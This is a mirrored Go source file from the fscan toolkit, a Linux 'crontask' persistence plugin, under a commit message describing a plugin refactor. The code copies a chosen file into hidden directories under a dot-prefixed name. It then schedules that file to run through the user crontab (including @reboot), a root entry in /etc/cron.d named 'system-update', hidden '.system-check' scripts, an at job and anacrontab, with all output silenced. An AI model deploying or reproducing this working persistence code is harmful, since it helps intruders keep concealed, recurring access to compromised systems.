mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构, 大幅减少代码重复和维护成本,提升插件开发效率。 主要改进: • 将每个服务插件从3个文件简化为1个文件 • 删除过度设计的工厂模式、适配器模式等抽象层 • 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构 • 实现直接的插件注册机制,提升系统简洁性 • 保持完全向后兼容,所有扫描功能和输出格式不变 重构统计: • 删除文件:100+个复杂架构文件 • 新增文件:20个简化的单文件插件 • 代码减少:每个插件减少60-80%代码量 • 功能增强:所有插件包含完整扫描和利用功能 已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle, Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP, Rsync, SMTP, SNMP, Telnet, VNC 验证通过: 新系统编译运行正常,所有插件功能验证通过
424 lines
11 KiB
Go
424 lines
11 KiB
Go
//go:build linux
|
||
|
||
package crontask
|
||
|
||
import (
|
||
"context"
|
||
"fmt"
|
||
"os"
|
||
"os/exec"
|
||
"os/user"
|
||
"path/filepath"
|
||
"runtime"
|
||
"strings"
|
||
"time"
|
||
|
||
"github.com/shadow1ng/fscan/common"
|
||
"github.com/shadow1ng/fscan/plugins/base"
|
||
"github.com/shadow1ng/fscan/plugins/local"
|
||
)
|
||
|
||
// CronTaskPlugin 计划任务持久化插件 - 使用简化架构
|
||
type CronTaskPlugin struct {
|
||
*local.BaseLocalPlugin
|
||
targetFile string
|
||
}
|
||
|
||
// NewCronTaskPlugin 创建计划任务持久化插件 - 简化版本
|
||
func NewCronTaskPlugin() *CronTaskPlugin {
|
||
// 从全局参数获取目标文件路径
|
||
targetFile := common.PersistenceTargetFile
|
||
if targetFile == "" {
|
||
targetFile = "" // 需要用户指定
|
||
}
|
||
|
||
metadata := &base.PluginMetadata{
|
||
Name: "crontask",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化",
|
||
Category: "local",
|
||
Tags: []string{"local", "persistence", "linux", "cron", "schedule"},
|
||
Protocols: []string{"local"},
|
||
}
|
||
|
||
plugin := &CronTaskPlugin{
|
||
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
|
||
targetFile: targetFile,
|
||
}
|
||
|
||
// 只支持Linux平台
|
||
plugin.SetPlatformSupport([]string{"linux"})
|
||
// 需要crontab权限
|
||
plugin.SetRequiresPrivileges(false)
|
||
|
||
return plugin
|
||
}
|
||
|
||
// Initialize 初始化插件
|
||
func (p *CronTaskPlugin) Initialize() error {
|
||
if p.targetFile == "" {
|
||
return fmt.Errorf("必须通过 -persistence-file 参数指定目标文件路径")
|
||
}
|
||
|
||
// 检查目标文件是否存在
|
||
if _, err := os.Stat(p.targetFile); os.IsNotExist(err) {
|
||
return fmt.Errorf("目标文件不存在: %s", p.targetFile)
|
||
}
|
||
|
||
// 检查crontab是否可用
|
||
if _, err := exec.LookPath("crontab"); err != nil {
|
||
return fmt.Errorf("crontab命令不可用: %v", err)
|
||
}
|
||
|
||
return p.BaseLocalPlugin.Initialize()
|
||
}
|
||
|
||
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
|
||
func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
return p.ScanLocal(ctx, info)
|
||
}
|
||
|
||
// ScanLocal 执行计划任务持久化 - 简化版本
|
||
func (p *CronTaskPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
|
||
if runtime.GOOS != "linux" {
|
||
return &base.ScanResult{
|
||
Success: false,
|
||
Error: fmt.Errorf("计划任务持久化只支持Linux平台"),
|
||
}, nil
|
||
}
|
||
|
||
common.LogBase("开始计划任务持久化...")
|
||
common.LogBase(fmt.Sprintf("目标文件: %s", p.targetFile))
|
||
|
||
// 执行持久化操作
|
||
results := make([]string, 0)
|
||
|
||
// 1. 复制文件到持久化目录
|
||
persistPath, err := p.copyToPersistPath()
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("复制文件失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("文件已复制到: %s", persistPath))
|
||
common.LogSuccess(fmt.Sprintf("文件已复制到: %s", persistPath))
|
||
}
|
||
|
||
// 2. 添加用户crontab任务
|
||
err = p.addUserCronJob(persistPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加用户cron任务失败: %v", err))
|
||
} else {
|
||
results = append(results, "已添加用户crontab任务")
|
||
common.LogSuccess("已添加用户crontab任务")
|
||
}
|
||
|
||
// 3. 添加系统cron任务
|
||
systemCronFiles, err := p.addSystemCronJobs(persistPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加系统cron任务失败: %v", err))
|
||
} else {
|
||
results = append(results, fmt.Sprintf("已添加系统cron任务: %s", strings.Join(systemCronFiles, ", ")))
|
||
common.LogSuccess("已添加系统cron任务")
|
||
}
|
||
|
||
// 4. 创建at任务(一次性任务)
|
||
err = p.addAtJob(persistPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加at任务失败: %v", err))
|
||
} else {
|
||
results = append(results, "已添加at延时任务")
|
||
common.LogSuccess("已添加at延时任务")
|
||
}
|
||
|
||
// 5. 创建anacron任务
|
||
err = p.addAnacronJob(persistPath)
|
||
if err != nil {
|
||
common.LogError(fmt.Sprintf("添加anacron任务失败: %v", err))
|
||
} else {
|
||
results = append(results, "已添加anacron任务")
|
||
common.LogSuccess("已添加anacron任务")
|
||
}
|
||
|
||
success := len(results) > 0
|
||
|
||
result := &base.ScanResult{
|
||
Success: success,
|
||
Service: "CronTaskPersistence",
|
||
Banner: fmt.Sprintf("计划任务持久化完成 - 目标: %s", filepath.Base(p.targetFile)),
|
||
Extra: map[string]interface{}{
|
||
"target_file": p.targetFile,
|
||
"platform": runtime.GOOS,
|
||
"methods": results,
|
||
"status": "completed",
|
||
},
|
||
}
|
||
|
||
return result, nil
|
||
}
|
||
|
||
// copyToPersistPath 复制文件到持久化目录
|
||
func (p *CronTaskPlugin) copyToPersistPath() (string, error) {
|
||
// 选择持久化目录
|
||
persistDirs := []string{
|
||
"/tmp/.system",
|
||
"/var/tmp/.cache",
|
||
"/opt/.local",
|
||
}
|
||
|
||
// 获取用户目录
|
||
if usr, err := user.Current(); err == nil {
|
||
userDirs := []string{
|
||
filepath.Join(usr.HomeDir, ".local", "bin"),
|
||
filepath.Join(usr.HomeDir, ".cache"),
|
||
}
|
||
persistDirs = append(userDirs, persistDirs...)
|
||
}
|
||
|
||
var targetDir string
|
||
for _, dir := range persistDirs {
|
||
if err := os.MkdirAll(dir, 0755); err == nil {
|
||
targetDir = dir
|
||
break
|
||
}
|
||
}
|
||
|
||
if targetDir == "" {
|
||
return "", fmt.Errorf("无法创建持久化目录")
|
||
}
|
||
|
||
// 生成隐藏文件名
|
||
basename := filepath.Base(p.targetFile)
|
||
hiddenName := "." + strings.TrimSuffix(basename, filepath.Ext(basename))
|
||
if p.isScriptFile() {
|
||
hiddenName += ".sh"
|
||
}
|
||
|
||
targetPath := filepath.Join(targetDir, hiddenName)
|
||
|
||
// 复制文件
|
||
err := p.copyFile(p.targetFile, targetPath)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
|
||
// 设置执行权限
|
||
os.Chmod(targetPath, 0755)
|
||
|
||
return targetPath, nil
|
||
}
|
||
|
||
// copyFile 复制文件内容
|
||
func (p *CronTaskPlugin) copyFile(src, dst string) error {
|
||
sourceData, err := os.ReadFile(src)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
return os.WriteFile(dst, sourceData, 0755)
|
||
}
|
||
|
||
// addUserCronJob 添加用户crontab任务
|
||
func (p *CronTaskPlugin) addUserCronJob(execPath string) error {
|
||
// 获取现有crontab
|
||
cmd := exec.Command("crontab", "-l")
|
||
currentCrontab, _ := cmd.Output()
|
||
|
||
// 生成新的cron任务
|
||
cronJobs := p.generateCronJobs(execPath)
|
||
newCrontab := string(currentCrontab)
|
||
|
||
for _, job := range cronJobs {
|
||
if !strings.Contains(newCrontab, execPath) {
|
||
if newCrontab != "" && !strings.HasSuffix(newCrontab, "\n") {
|
||
newCrontab += "\n"
|
||
}
|
||
newCrontab += job + "\n"
|
||
}
|
||
}
|
||
|
||
// 应用新的crontab
|
||
cmd = exec.Command("crontab", "-")
|
||
cmd.Stdin = strings.NewReader(newCrontab)
|
||
return cmd.Run()
|
||
}
|
||
|
||
// addSystemCronJobs 添加系统cron任务
|
||
func (p *CronTaskPlugin) addSystemCronJobs(execPath string) ([]string, error) {
|
||
cronDirs := []string{
|
||
"/etc/cron.d",
|
||
"/etc/cron.hourly",
|
||
"/etc/cron.daily",
|
||
"/etc/cron.weekly",
|
||
"/etc/cron.monthly",
|
||
}
|
||
|
||
var modified []string
|
||
|
||
// 在cron.d中创建配置文件
|
||
cronFile := filepath.Join("/etc/cron.d", "system-update")
|
||
cronContent := fmt.Sprintf("*/5 * * * * root %s >/dev/null 2>&1\n", execPath)
|
||
if err := os.WriteFile(cronFile, []byte(cronContent), 0644); err == nil {
|
||
modified = append(modified, cronFile)
|
||
}
|
||
|
||
// 在每个cron目录中创建脚本
|
||
for _, cronDir := range cronDirs[1:] { // 跳过cron.d
|
||
if _, err := os.Stat(cronDir); os.IsNotExist(err) {
|
||
continue
|
||
}
|
||
|
||
scriptFile := filepath.Join(cronDir, ".system-check")
|
||
scriptContent := fmt.Sprintf("#!/bin/bash\n%s >/dev/null 2>&1 &\n", execPath)
|
||
|
||
if err := os.WriteFile(scriptFile, []byte(scriptContent), 0755); err == nil {
|
||
modified = append(modified, scriptFile)
|
||
}
|
||
}
|
||
|
||
if len(modified) == 0 {
|
||
return nil, fmt.Errorf("无法创建任何系统cron任务")
|
||
}
|
||
|
||
return modified, nil
|
||
}
|
||
|
||
// addAtJob 添加at延时任务
|
||
func (p *CronTaskPlugin) addAtJob(execPath string) error {
|
||
// 检查at命令是否可用
|
||
if _, err := exec.LookPath("at"); err != nil {
|
||
return err
|
||
}
|
||
|
||
// 创建5分钟后执行的任务
|
||
atCommand := fmt.Sprintf("echo '%s >/dev/null 2>&1' | at now + 5 minutes", execPath)
|
||
cmd := exec.Command("sh", "-c", atCommand)
|
||
return cmd.Run()
|
||
}
|
||
|
||
// addAnacronJob 添加anacron任务
|
||
func (p *CronTaskPlugin) addAnacronJob(execPath string) error {
|
||
anacronFile := "/etc/anacrontab"
|
||
|
||
// 检查anacrontab是否存在
|
||
if _, err := os.Stat(anacronFile); os.IsNotExist(err) {
|
||
return err
|
||
}
|
||
|
||
// 读取现有内容
|
||
content := ""
|
||
if data, err := os.ReadFile(anacronFile); err == nil {
|
||
content = string(data)
|
||
}
|
||
|
||
// 检查是否已存在
|
||
if strings.Contains(content, execPath) {
|
||
return nil
|
||
}
|
||
|
||
// 添加新任务
|
||
anacronLine := fmt.Sprintf("1\t5\tsystem.update\t%s >/dev/null 2>&1", execPath)
|
||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||
content += "\n"
|
||
}
|
||
content += anacronLine + "\n"
|
||
|
||
return os.WriteFile(anacronFile, []byte(content), 0644)
|
||
}
|
||
|
||
// generateCronJobs 生成多种cron任务
|
||
func (p *CronTaskPlugin) generateCronJobs(execPath string) []string {
|
||
baseCmd := execPath
|
||
if p.isScriptFile() {
|
||
baseCmd = fmt.Sprintf("bash %s", execPath)
|
||
}
|
||
baseCmd += " >/dev/null 2>&1"
|
||
|
||
return []string{
|
||
// 每5分钟执行一次
|
||
fmt.Sprintf("*/5 * * * * %s", baseCmd),
|
||
// 每小时执行一次
|
||
fmt.Sprintf("0 * * * * %s", baseCmd),
|
||
// 每天执行一次
|
||
fmt.Sprintf("0 0 * * * %s", baseCmd),
|
||
// 启动时执行
|
||
fmt.Sprintf("@reboot %s", baseCmd),
|
||
}
|
||
}
|
||
|
||
// isScriptFile 检查是否为脚本文件
|
||
func (p *CronTaskPlugin) isScriptFile() bool {
|
||
ext := strings.ToLower(filepath.Ext(p.targetFile))
|
||
return ext == ".sh" || ext == ".bash" || ext == ".zsh"
|
||
}
|
||
|
||
// GetLocalData 获取计划任务持久化本地数据
|
||
func (p *CronTaskPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
|
||
data := make(map[string]interface{})
|
||
|
||
data["plugin_type"] = "crontask"
|
||
data["platform"] = runtime.GOOS
|
||
data["target_file"] = p.targetFile
|
||
data["persistence_method"] = "Cron Task"
|
||
|
||
if hostname, err := os.Hostname(); err == nil {
|
||
data["hostname"] = hostname
|
||
}
|
||
|
||
// 获取当前时间
|
||
data["schedule_time"] = time.Now().Format("2006-01-02 15:04:05")
|
||
|
||
return data, nil
|
||
}
|
||
|
||
// ExtractData 提取数据
|
||
func (p *CronTaskPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
|
||
return &base.ExploitResult{
|
||
Success: true,
|
||
Output: fmt.Sprintf("计划任务持久化完成,目标文件: %s", p.targetFile),
|
||
Data: data,
|
||
Extra: map[string]interface{}{
|
||
"target_file": p.targetFile,
|
||
"persistence_method": "Cron Task",
|
||
"status": "completed",
|
||
},
|
||
}, nil
|
||
}
|
||
|
||
// GetInfo 获取插件信息
|
||
func (p *CronTaskPlugin) GetInfo() string {
|
||
var info strings.Builder
|
||
|
||
info.WriteString("计划任务持久化插件\n")
|
||
info.WriteString(fmt.Sprintf("目标文件: %s\n", p.targetFile))
|
||
info.WriteString("支持平台: Linux\n")
|
||
info.WriteString("功能: 通过cron定时任务实现持久化\n")
|
||
info.WriteString("方法: crontab、系统cron、at任务、anacron\n")
|
||
info.WriteString("频率: 每5分钟、每小时、每天、启动时\n")
|
||
info.WriteString("支持文件: 可执行文件和shell脚本\n")
|
||
|
||
return info.String()
|
||
}
|
||
|
||
// RegisterCronTaskPlugin 注册计划任务持久化插件
|
||
func RegisterCronTaskPlugin() {
|
||
factory := base.NewSimplePluginFactory(
|
||
&base.PluginMetadata{
|
||
Name: "crontask",
|
||
Version: "1.0.0",
|
||
Author: "fscan-team",
|
||
Description: "Linux 计划任务持久化插件,通过crontab定时任务实现持久化",
|
||
Category: "local",
|
||
Tags: []string{"crontask", "local", "persistence", "linux"},
|
||
Protocols: []string{"local"},
|
||
},
|
||
func() base.Plugin {
|
||
return NewCronTaskPlugin()
|
||
},
|
||
)
|
||
|
||
base.GlobalPluginRegistry.Register("crontask", factory)
|
||
}
|
||
|
||
// init 插件注册函数
|
||
func init() {
|
||
RegisterCronTaskPlugin()
|
||
} |